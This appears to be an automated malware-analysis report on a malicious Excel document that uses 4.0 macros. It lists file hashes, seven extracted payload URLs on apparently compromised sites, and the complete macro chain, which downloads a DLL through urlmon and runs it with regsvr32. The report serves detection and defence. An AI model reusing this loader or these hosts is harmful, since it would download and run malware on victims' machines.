General
-
Target
314bbb466cb64b7256469dc2b32577d020cf6c13b518c1d7994d7db49ff757e9
-
Size
20KB
-
MD5
f5d2dc6a47dd9b02ed9efdf9298450c0
-
SHA1
e96fc2cc23727da84a70ef5d4e0068af4cd5a560
-
SHA256
314bbb466cb64b7256469dc2b32577d020cf6c13b518c1d7994d7db49ff757e9
-
SHA512
154f5cd2ddbb01264ca145290e95064ff892090bcb606f5f14434c694fd7d916e2053c7119adffd1d25eae8d17dc07206fea2a32c8b74a9362f3b84a4213678d
-
SSDEEP
384:15Jm7qVb1GNjyo4CGzPd6ZIwBKb5CzgObff9kC+xbX7Qi9rc5:15J7IN+o4FLNCBn9kC+xbLQf
Malware Config
Extracted
https://benconry.com/wp-includes/eUXuRrm1G6bRZ/
http://actividades.laforetlanguages.com/wp-admin/PXMxDnqZrr/
http://atbiotique.com/images/ESistuSH6DbQFkxTz/
http://www.atelierkikala.com/Facebook/2pfL2EhoN9MusmXv/
http://automotorahorizonte.uy/wp-snapshots/r1G/
https://bencevendeghaz.hu/wp-includes/ob9w4byJ85B/
http://speziale.it/cache/vcVndjk/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://benconry.com/wp-includes/eUXuRrm1G6bRZ/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://actividades.laforetlanguages.com/wp-admin/PXMxDnqZrr/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atbiotique.com/images/ESistuSH6DbQFkxTz/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.atelierkikala.com/Facebook/2pfL2EhoN9MusmXv/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://automotorahorizonte.uy/wp-snapshots/r1G/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bencevendeghaz.hu/wp-includes/ob9w4byJ85B/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://speziale.it/cache/vcVndjk/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
314bbb466cb64b7256469dc2b32577d020cf6c13b518c1d7994d7db49ff757e9